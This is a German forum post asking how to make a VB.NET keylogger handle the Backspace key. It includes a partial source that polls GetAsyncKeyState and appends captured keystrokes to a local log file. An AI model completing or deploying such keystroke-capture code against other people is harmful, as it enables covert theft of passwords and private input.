Hi,
ich will mir einen Keylogger coden. Habe dazu das Sample von "ThePapst" verwendet. Nun will ich die "Löschen-Taste" (Taste über Enter) protokolieren. Es soll aber nicht einfach "Back" o.ä. in die Datei geschrieben werden sondern ich dachte mir das so:
Code:
        Dim fs As New FileStream(Speicherort, FileMode.Open)
        Dim sr As New StreamReader(fs)
        Dim Buffer As String
        Buffer = sr.ReadToEnd
        sr.Close()
        Buffer = Buffer.Substring(0, Buffer.Length - 1)
Somit wird immer das letzte Zeichen der Zeichenkette weg"geschnitten".
Meine Frage:
Aber wie kann ich das jetzt möglichst übersichtlich in meinen Code einbetten,
da ich ja den StreamWriter-Stream schließen und einen StreamReader-Stream öffnen und wieder schließen muss, um "Buffer" zu füllen. Anschließend muss ich meine Textdatei wieder öffnen und "Buffer" reinschreiben lassen.

Momentan sieht meine Source so aus:
Code:
Imports System.IO

Public Class Form1
    Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal nVirtKey As Keys) As Short
    Dim Speicherort As String = "C:\Users\PCFX\Desktop\log.txt"
    Dim LoggDatei As New StreamWriter(Speicherort, True)
    Dim Buffer As String

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Timer1.Enabled = True
        Timer1.Start()
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        If GetAsyncKeyState(Keys.A) = -32767 Then
            LoggDatei.Write("a")
            LoggDatei.Flush()
        End If

'(usw.)
End Sub